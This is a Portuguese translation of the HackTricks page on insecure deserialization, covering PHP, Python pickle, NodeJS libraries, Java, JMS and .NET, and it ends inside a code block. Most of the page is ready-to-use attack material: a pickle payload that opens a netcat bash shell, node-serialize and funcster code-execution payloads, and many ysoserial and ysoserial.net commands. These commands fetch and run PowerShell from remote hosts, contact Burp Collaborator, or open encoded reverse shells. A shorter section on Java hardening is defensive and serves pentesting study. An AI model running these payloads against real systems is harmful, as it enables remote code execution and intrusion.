hacktricks/pentesting-web/deserialization
2023-08-22 10:36:28 +00:00
..
nodejs-proto-prototype-pollution Translated ['generic-methodologies-and-resources/shells/msfvenom.md', 'p 2023-08-16 09:34:29 +00:00
basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md Translated to Portuguese 2023-06-06 18:56:34 +00:00
basic-java-deserialization-objectinputstream-readobject.md Translated to Portuguese 2023-06-06 18:56:34 +00:00
exploiting-__viewstate-knowing-the-secret.md Translated to Portuguese 2023-06-06 18:56:34 +00:00
exploiting-__viewstate-parameter.md Translated ['backdoors/salseo.md', 'forensics/basic-forensic-methodology 2023-08-22 10:36:28 +00:00
java-dns-deserialization-and-gadgetprobe.md Translated ['1911-pentesting-fox.md', 'README.md', 'ctf-write-ups/try-ha 2023-06-07 04:37:24 +00:00
java-jsf-viewstate-.faces-deserialization.md Translated to Portuguese 2023-06-06 18:56:34 +00:00
java-transformers-to-rutime-exec-payload.md Translated to Portuguese 2023-06-06 18:56:34 +00:00
jndi-java-naming-and-directory-interface-and-log4shell.md Translated to Portuguese 2023-06-06 18:56:34 +00:00
php-deserialization-+-autoload-classes.md Translated to Portuguese 2023-06-06 18:56:34 +00:00
python-yaml-deserialization.md Translated to Portuguese 2023-06-06 18:56:34 +00:00
README.md Translated to Portuguese 2023-06-06 18:56:34 +00:00

Desserialização

Serialização é o processo de transformar um objeto em um formato de dados que pode ser restaurado posteriormente. As pessoas frequentemente serializam objetos para salvá-los em armazenamento ou para enviar como parte de comunicações.

Desserialização é o processo inverso, pegando dados estruturados de algum formato e reconstruindo-o em um objeto. Atualmente, o formato de dados mais popular para serializar dados é o JSON. Antes disso, era o XML.

Em muitas ocasiões, você pode encontrar algum código no lado do servidor que desserializa algum objeto fornecido pelo usuário. Nesse caso, você pode enviar uma carga maliciosa para fazer com que o lado do servidor se comporte de maneira inesperada.

Você deve ler: https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html para aprender como atacar.

PHP

Método mágico usado com serialização:

  • __sleep é chamado quando um objeto é serializado e deve ser retornado para um array.

Método mágico usado com desserialização:

  • __wakeup é chamado quando um objeto é desserializado.
  • __unserialize é chamado em vez de __wakeup se existir.
  • __destruct é chamado quando o script PHP termina e o objeto é destruído.
  • __toString usa o objeto como string, mas também pode ser usado para ler arquivos ou mais do que isso com base na chamada de função dentro dele.
<?php
class test {
    public $s = "This is a test";
    public function displaystring(){
        echo $this->s.'<br />';
    }
    public function __toString()
    {
        echo '__toString method called';
    }
    public function __construct(){
        echo "__construct method called";
    }
    public function __destruct(){
        echo "__destruct method called";
    }
    public function __wakeup(){
        echo "__wakeup method called";
    }
    public function __sleep(){
        echo "__sleep method called";
        return array("s"); #The "s" makes references to the public attribute
    }
}

$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();

/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />

php > $ser=serialize($o);
__sleep method called

php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}

php > $unser=unserialize($ser);
__wakeup method called
__destruct method called

php > $unser->displaystring();
This is a test<br />
*/
?>

Se você olhar para os resultados, poderá ver que as funções __wakeup e __destruct são chamadas quando o objeto é desserializado. Note que em vários tutoriais você encontrará que a função __toString é chamada ao tentar imprimir algum atributo, mas aparentemente isso não está mais acontecendo.

{% hint style="warning" %} O método __unserialize(array $data) é chamado em vez de __wakeup() se ele for implementado na classe. Ele permite desserializar o objeto fornecendo os dados serializados como um array. Você pode usar este método para desserializar propriedades e realizar quaisquer tarefas necessárias na desserialização.

phpCopy codeclass MyClass {
    private $property;

    public function __unserialize(array $data): void {
        $this->property = $data['property'];
        // Perform any necessary tasks upon deserialization.
    }
}

{% endhint %}

Você pode ler um exemplo PHP explicado aqui: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, aqui https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf ou aqui https://securitycafe.ro/2015/01/05/understanding-php-object-injection/

PHP Deserial + Classes de Autoload

Você pode abusar da funcionalidade de autoload do PHP para carregar arquivos php arbitrários e mais:

{% content-ref url="php-deserialization-+-autoload-classes.md" %} php-deserialization-+-autoload-classes.md {% endcontent-ref %}

Serializando Valores Referenciados

Se por algum motivo você deseja serializar um valor como uma referência a outro valor serializado, você pode:

<?php
class AClass {
    public $param1;
    public $param2;
}

$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);

PHPGGC (ysoserial para PHP)

PHPGCC pode ajudá-lo a gerar payloads para abusar de deserializações em PHP.
Observe que em vários casos você não será capaz de encontrar uma maneira de abusar de uma deserialização no código-fonte da aplicação, mas você pode ser capaz de abusar do código de extensões PHP externas.
Então, se possível, verifique o phpinfo() do servidor e pesquise na internet (e até mesmo nos gadgets do PHPGCC) alguns possíveis gadgets que você poderia abusar.

Deserialização de metadados phar://

Se você encontrou um LFI que está apenas lendo o arquivo e não executando o código php dentro dele, por exemplo, usando funções como file_get_contents(), fopen(), file() ou file_exists(), md5_file(), filemtime() ou filesize()**. Você pode tentar abusar de uma deserialização que ocorre quando um arquivo usando o protocolo phar.
Para mais informações, leia o seguinte post:

{% content-ref url="../file-inclusion/phar-deserialization.md" %} phar-deserialization.md {% endcontent-ref %}

Python

Pickle

Quando o objeto é desempacotado, a função __reduce__ será executada.
Quando explorado, o servidor pode retornar um erro.

import pickle, os, base64
class P(object):
    def __reduce__(self):
        return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))

Para obter mais informações sobre como escapar de jaulas de pickle, consulte:

{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}

Yaml & jsonpickle

A seguinte página apresenta a técnica de abusar da desserialização insegura em bibliotecas python yamls e termina com uma ferramenta que pode ser usada para gerar carga útil de desserialização RCE para Pickle, PyYAML, jsonpickle e ruamel.yaml:

{% content-ref url="python-yaml-deserialization.md" %} python-yaml-deserialization.md {% endcontent-ref %}

Poluição de Classe (Python Prototype Pollution)

{% content-ref url="../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md" %} class-pollution-pythons-prototype-pollution.md {% endcontent-ref %}

NodeJS

Funções Mágicas JS

JS não tem funções "mágicas" como PHP ou Python que serão executadas apenas para criar um objeto. Mas tem algumas funções que são frequentemente usadas mesmo sem serem chamadas diretamente como toString, valueOf, toJSON.
Se abusar de uma desserialização, você pode comprometer essas funções para executar outro código (potencialmente abusando de poluições de protótipos) e poderia executar código arbitrário quando elas são chamadas.

Outra maneira "mágica" de chamar uma função sem chamá-la diretamente é comprometer um objeto que é retornado por uma função assíncrona (promessa). Porque, se você transformar esse objeto de retorno em outra promessa com uma propriedade chamada "then" do tipo função, ela será executada apenas porque é retornada por outra promessa. Siga este link para mais informações.

// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
  const p = new Promise(resolve => {
    console.log('hello')
    resolve()
  })
  return p
}

async function test_then() {
  const p = new Promise(then => {
    console.log('hello')
    return 1
  })
  return p
}

test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/

Poluição de __proto__ e prototype

Se você deseja aprender sobre essa técnica, dê uma olhada no seguinte tutorial:

{% content-ref url="nodejs-proto-prototype-pollution/" %} nodejs-proto-prototype-pollution {% endcontent-ref %}

node-serialize

Essa biblioteca permite serializar funções. Exemplo:

var y = {
 "rce": function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })},
}
var serialize = require('node-serialize');
var payload_serialized = serialize.serialize(y);
console.log("Serialized: \n" + payload_serialized);

O objeto serializado parecerá com:

{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}

Você pode ver no exemplo que quando uma função é serializada, a flag _$$ND_FUNC$$_ é adicionada ao objeto serializado.

Dentro do arquivo node-serialize/lib/serialize.js, você pode encontrar a mesma flag e como o código a está usando.

Como você pode ver no último trecho de código, se a flag for encontrada, eval é usado para desserializar a função, então basicamente a entrada do usuário está sendo usada dentro da função eval.

No entanto, apenas serializar uma função não a executará já que seria necessário que alguma parte do código esteja chamando y.rce em nosso exemplo e isso é altamente improvável.
De qualquer forma, você poderia apenas modificar o objeto serializado adicionando alguns parênteses para executar automaticamente a função serializada quando o objeto for desserializado.
No próximo trecho de código, observe o último parêntese e como a função unserialize executará automaticamente o código:

var serialize = require('node-serialize');
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
serialize.unserialize(test);

Como foi indicado anteriormente, esta biblioteca irá obter o código após _$$ND_FUNC$$_ e irá executá-lo usando eval. Portanto, para autoexecutar o código, você pode excluir a parte de criação da função e o último parêntese e apenas executar um JS em uma linha, como no exemplo a seguir:

var serialize = require('node-serialize');
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
serialize.unserialize(test);

Você pode encontrar aqui mais informações sobre como explorar essa vulnerabilidade.

funcster

A diferença interessante aqui é que os objetos padrão integrados não são acessíveis, porque estão fora do escopo. Isso significa que podemos executar nosso código, mas não podemos chamar os métodos dos objetos integrados. Então, se usarmos console.log() ou require(something), o Node retorna uma exceção como "ReferenceError: console is not defined".

No entanto, podemos facilmente recuperar o acesso a tudo porque ainda temos acesso ao contexto global usando algo como this.constructor.constructor("console.log(1111)")();:

funcster = require("funcster");
//Serialization
var test = funcster.serialize(function() { return "Hello world!" })
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }

//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = { __js_function: 'this.constructor.constructor("console.log(1111)")()' }
funcster.deepDeserialize(desertest2)
var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' }
funcster.deepDeserialize(desertest3)

Para mais informações, leia esta página.

serialize-javascript

O pacote não inclui nenhuma funcionalidade de desserialização e requer que você a implemente por conta própria. O exemplo deles usa eval diretamente. Este é o exemplo oficial de desserialização:

function deserialize(serializedJavascript){
  return eval('(' + serializedJavascript + ')');
}

Se essa função é usada para desserializar objetos, você pode facilmente explorá-la:

var serialize = require('serialize-javascript');
//Serialization
var test = serialize(function() { return "Hello world!" });
console.log(test) //function() { return "Hello world!" }

//Deserialization
var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)

Biblioteca Cryo

Nas páginas a seguir, você pode encontrar informações sobre como abusar dessa biblioteca para executar comandos arbitrários:

Java - HTTP

O principal problema com objetos desserializados em Java é que callbacks de desserialização foram invocados durante a desserialização. Isso torna possível para um atacante aproveitar esses callbacks e preparar uma carga útil que abusa dos callbacks para realizar ações maliciosas.

Impressões digitais

Caixa branca

Procure dentro do código por classes e funções de serialização. Por exemplo, procure por classes que implementam Serializable, o uso de java.io.ObjectInputStream ou funções readObject ou readUnshare.

Você também deve ficar de olho em:

  • XMLdecoder com parâmetros definidos pelo usuário externo
  • XStream com método fromXML (a versão xstream <= v1.46 é vulnerável ao problema de serialização)
  • ObjectInputStream com readObject
  • Usos de readObject, readObjectNodData, readResolve ou readExternal
  • ObjectInputStream.readUnshared
  • Serializable

Caixa preta

Impressões digitais/Bytes mágicos de objetos serializados em Java (de ObjectInputStream):

  • AC ED 00 05 em Hex
  • rO0 em Base64
  • Cabeçalho Content-type de uma resposta HTTP definido como application/x-java-serialized-object
  • 1F 8B 08 00 Hex previamente comprimido
  • H4sIA Base64 previamente comprimido
  • Arquivos da web com extensão .faces e parâmetro faces.ViewState. Se você encontrar isso em um aplicativo da web, dê uma olhada no post sobre desserialização Java JSF VewState.
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s

Verificar se é vulnerável

Se você quer aprender sobre como funciona uma exploração de deserialização Java, você deve dar uma olhada em Deserialização Java Básica, Deserialização Java DNS e Carga Útil do CommonsCollection1.

Teste de Caixa Branca

Você pode verificar se há alguma aplicação instalada com vulnerabilidades conhecidas.

find . -iname "*commons*collection*"
grep -R InvokeTransformer .

Você pode tentar verificar todas as bibliotecas conhecidas por serem vulneráveis e que o Ysoserial pode fornecer uma exploração. Ou você pode verificar as bibliotecas indicadas em Java-Deserialization-Cheat-Sheet.
Você também pode usar o gadgetinspector para procurar possíveis cadeias de gadgets que possam ser exploradas.
Ao executar o gadgetinspector (depois de construí-lo), não se preocupe com as toneladas de avisos/erros que ele está passando e deixe-o terminar. Ele escreverá todas as descobertas em gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt. Por favor, note que o gadgetinspector não criará uma exploração e pode indicar falsos positivos.

Teste de Caixa Preta

Usando a extensão do Burp gadgetprobe, você pode identificar quais bibliotecas estão disponíveis (e até mesmo as versões). Com essas informações, pode ser mais fácil escolher um payload para explorar a vulnerabilidade.
Leia mais sobre o GadgetProbe aqui.
O GadgetProbe é focado em desserializações de ** ObjectInputStream **.**

Usando a extensão do Burp Java Deserialization Scanner, você pode identificar bibliotecas vulneráveis exploráveis com o ysoserial e explorá-las.
Leia mais sobre o Java Deserialization Scanner aqui.
O Java Deserialization Scanner é focado em desserializações de ObjectInputStream.

Você também pode usar o Freddy para detectar vulnerabilidades de desserialização no Burp. Este plugin detectará vulnerabilidades relacionadas não apenas ao ObjectInputStream, mas também a bibliotecas de desserialização de Json e Yml. No modo ativo, ele tentará confirmá-las usando payloads de sleep ou DNS.
Você pode encontrar mais informações sobre o Freddy aqui.

Teste de Serialização

Não se trata apenas de verificar se alguma biblioteca vulnerável é usada pelo servidor. Às vezes, você pode ser capaz de alterar os dados dentro do objeto serializado e contornar algumas verificações (talvez conceder privilégios de administrador dentro de um aplicativo da web).
Se você encontrar um objeto serializado Java sendo enviado para um aplicativo da web, você pode usar o SerializationDumper para imprimir em um formato mais legível para humanos o objeto de serialização que está sendo enviado. Saber quais dados você está enviando tornaria mais fácil modificá-los e contornar algumas verificações.

Exploração

ysoserial

A ferramenta mais conhecida para explorar desserializações Java é o ysoserial (baixe aqui). Você também pode considerar o uso do ysoseral-modified, que permitirá que você use comandos complexos (com pipes, por exemplo).
Observe que esta ferramenta está centrada em explorar ObjectInputStream.
Eu começaria usando o payload "URLDNS" antes de um payload RCE para testar se a injeção é possível. De qualquer forma, observe que talvez o payload "URLDNS" não esteja funcionando, mas outro payload RCE esteja.

# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload

# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"

#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload 
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"

# Base64 encode payload in base64
base64 -w0 payload

Ao criar um payload para java.lang.Runtime.exec(), você não pode usar caracteres especiais como ">" ou "|" para redirecionar a saída de uma execução, "$()" para executar comandos ou até mesmo passar argumentos para um comando separados por espaços (você pode fazer echo -n "hello world", mas não pode fazer python2 -c 'print "Hello world"'). Para codificar corretamente o payload, você pode usar esta página da web.

Sinta-se à vontade para usar o próximo script para criar todos os possíveis payloads de execução de código para Windows e Linux e, em seguida, testá-los na página da web vulnerável:

import os
import base64
 
# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
    for payload in payloads:
        final = cmd.replace('REPLACE', payload)
        print 'Generating ' + payload + ' for ' + name + '...'
        command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
        result = command.read()
        command.close()
        encoded = base64.b64encode(result)
        if encoded != "":
            open(name + '_intruder.txt', 'a').write(encoded + '\n')
 
generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')

serialkillerbypassgadgets

Você pode usar https://github.com/pwntester/SerialKillerBypassGadgetCollection junto com o ysoserial para criar mais exploits. Mais informações sobre essa ferramenta nos slides da apresentação onde a ferramenta foi apresentada: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1

marshalsec

marshalsec pode ser usado para gerar payloads para explorar diferentes bibliotecas de serialização Json e Yml em Java.
Para compilar o projeto, eu precisei adicionar essas dependências ao pom.xml:

<dependency>
		<groupId>javax.activation</groupId>
		<artifactId>activation</artifactId>
		<version>1.1.1</version>
</dependency>
		
<dependency>
		<groupId>com.sun.jndi</groupId>
		<artifactId>rmiregistry</artifactId>
		<version>1.2.1</version>
		<type>pom</type>
</dependency>

Instale o Maven e compile o projeto:

sudo apt-get install maven
mvn clean package -DskipTests

FastJSON

Leia mais sobre esta biblioteca Java JSON: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html

Laboratórios

Por que

Java ADORA enviar objetos serializados por toda parte. Por exemplo:

  • Em solicitações HTTP - Parâmetros, ViewState, Cookies, você escolhe.
  • RMI - O protocolo Java RMI amplamente utilizado é 100% baseado em serialização
  • RMI sobre HTTP - Muitos aplicativos da web de cliente espesso Java usam isso - novamente objetos 100% serializados
  • JMX - Novamente, depende de objetos serializados sendo enviados pela rede
  • Protocolos personalizados - Enviar e receber objetos Java brutos é a norma - o que veremos em alguns dos exploits que virão

Prevenção

Objetos Transientes

Uma classe que implementa Serializable pode implementar como transient qualquer objeto dentro da classe que não deve ser serializado. Por exemplo:

public class myAccount implements Serializable
{
    private transient double profit; // declared transient
    private transient double margin; // declared transient

Evite a Serialização de uma classe que precisa implementar Serializable

Alguns dos objetos de sua aplicação podem ser forçados a implementar Serializable devido à sua hierarquia. Para garantir que seus objetos de aplicação não possam ser desserializados, um método readObject() deve ser declarado (com um modificador final) que sempre lança uma exceção:

private final void readObject(ObjectInputStream in) throws java.io.IOException {
    throw new java.io.IOException("Cannot be deserialized");
}

Verifique a classe desserializada antes de desserializá-la

A classe java.io.ObjectInputStream é usada para desserializar objetos. É possível fortalecer seu comportamento criando uma subclasse. Essa é a melhor solução se:

  • Você pode alterar o código que faz a desserialização
  • Você sabe quais classes espera desserializar

A ideia geral é substituir ObjectInputStream.html#resolveClass() para restringir quais classes são permitidas para desserialização.

Como essa chamada acontece antes de um readObject() ser chamado, você pode ter certeza de que nenhuma atividade de desserialização ocorrerá, a menos que o tipo seja um que você deseja permitir.

Um exemplo simples disso é mostrado aqui, onde a classe LookAheadObjectInputStream é garantida de não desserializar nenhum outro tipo além da classe Bicycle:

public class LookAheadObjectInputStream extends ObjectInputStream {

    public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
        super(inputStream);
    }

    /**
    * Only deserialize instances of our expected Bicycle class
    */
    @Override
    protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
        if (!desc.getName().equals(Bicycle.class.getName())) {
            throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
        }
        return super.resolveClass(desc);
    }
}

Fortalecer todo o uso de java.io.ObjectInputStream com um Agente

Se você não possui o código ou não pode esperar por uma correção, usar um agente para tecer fortalecimento em java.io.ObjectInputStream é a melhor solução.
Usando essa abordagem, você só pode colocar em uma lista negra tipos maliciosos conhecidos e não colocá-los em uma lista branca, já que você não sabe quais objetos estão sendo serializados.

Para habilitar esses agentes, basta adicionar um novo parâmetro JVM:

-javaagent:name-of-agent.jar

Exemplo: rO0 pela Contrast Security

Referências

Injeção JNDI e log4Shell

Descubra o que é Injeção JNDI, como abusá-la via RMI, CORBA e LDAP e como explorar o log4shell (e exemplo dessa vulnerabilidade) na seguinte página:

{% content-ref url="jndi-java-naming-and-directory-interface-and-log4shell.md" %} jndi-java-naming-and-directory-interface-and-log4shell.md {% endcontent-ref %}

JMS - Java Message Service

A API Java Message Service (JMS) é uma API de middleware orientada a mensagens Java para enviar mensagens entre dois ou mais clientes. É uma implementação para lidar com o problema produtor-consumidor. O JMS é uma parte da Plataforma Java, Enterprise Edition (Java EE), e foi definido por uma especificação desenvolvida na Sun Microsystems, mas que desde então tem sido guiada pelo Java Community Process. É um padrão de mensagens que permite que componentes de aplicativos baseados em Java EE criem, enviem, recebam e leiam mensagens. Ele permite que a comunicação entre diferentes componentes de um aplicativo distribuído seja fracamente acoplada, confiável e assíncrona. (De Wikipedia).

Produtos

Existem vários produtos que usam esse middleware para enviar mensagens:

Exploração

Basicamente, há um monte de serviços usando JMS de maneira perigosa. Portanto, se você tiver privilégios suficientes para enviar mensagens para esses serviços (geralmente precisará de credenciais válidas), poderá enviar objetos maliciosos serializados que serão desserializados pelo consumidor/assinante.
Isso significa que, nessa exploração, todos os clientes que vão usar essa mensagem serão infectados.

Você deve lembrar que, mesmo que um serviço seja vulnerável (porque está desserializando de forma insegura a entrada do usuário), você ainda precisa encontrar gadgets válidos para explorar a vulnerabilidade.

A ferramenta JMET foi criada para conectar e atacar esses serviços enviando vários objetos maliciosos serializados usando gadgets conhecidos. Esses exploits funcionarão se o serviço ainda estiver vulnerável e se algum dos gadgets usados estiver dentro do aplicativo vulnerável.

Referências

.Net

O .Net é semelhante ao Java em relação a como os exploits de desserialização funcionam: o exploit irá abusar de gadgets que executam algum código interessante quando um objeto é desserializado.

Identificação

WhiteBox

Procure no código-fonte pelos seguintes termos:

  1. TypeNameHandling
  2. JavaScriptTypeResolver

Procure por qualquer serializador em que o tipo seja definido por uma variável controlada pelo usuário.

BlackBox

Você pode procurar pela string codificada em Base64 AAEAAAD///// ou qualquer outra coisa que possa ser desserializada no back-end e que permita controlar o tipo desserializado. Por exemplo, um JSON ou XML contendo TypeObject ou $type.

ysoserial.net

Nesse caso, você pode usar a ferramenta ysoserial.net para criar os exploits de desserialização. Depois de baixar o repositório git, você deve compilar a ferramenta usando o Visual Studio, por exemplo.

Se você quiser aprender sobre como o ysoserial.net cria seus exploits, você pode verificar esta página onde é explicado o gadget ObjectDataProvider + ExpandedWrapper + Json.Net formatter.

As principais opções do ysoserial.net são: --gadget, --formatter, **--output ** e --plugin.

  • --gadget usado para indicar o gadget a ser abusado (indique a classe/função que será abusada durante a desserialização para executar comandos).
  • --formatter, usado para indicar o método para serializar o exploit (você precisa saber qual biblioteca o back-end está usando para desserializar a carga útil e usar a mesma para serializá-la)
  • **--output ** usado para indicar se você deseja o exploit em raw ou codificado em base64. Observe que o ysoserial.net irá codificar a carga útil usando UTF-16LE (codificação usada por padrão no Windows), portanto, se você obter o raw e apenas codificá-lo a partir de um console linux, poderá ter alguns problemas de compatibilidade de codificação que impedirão o exploit de funcionar corretamente (na caixa JSON do HTB, a carga útil funcionou em UTF-16LE e ASCII, mas isso não significa que sempre funcionará).
  • **--plugin ** o ysoserial
#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64

#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server

#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64

#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv  -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64

O ysoserial.net também tem um parâmetro muito interessante que ajuda a entender melhor como cada exploit funciona: --test. Se você indicar esse parâmetro, o ysoserial.net tentará o exploit localmente, para que você possa testar se sua carga útil funcionará corretamente. Esse parâmetro é útil porque, se você revisar o código, encontrará trechos de código como o seguinte (de ObjectDataProviderGenerator.cs):

            if (inputArgs.Test)
                {
                    try
                    {
                        SerializersHelper.JsonNet_deserialize(payload);
                    }
                    catch (Exception err)
                    {
                        Debugging.ShowErrors(inputArgs, err);
                    }
                }

Isso significa que, para testar a exploração, o código chamará serializersHelper.JsonNet_deserialize.

public static object JsonNet_deserialize(string str)
    {
        Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
        {
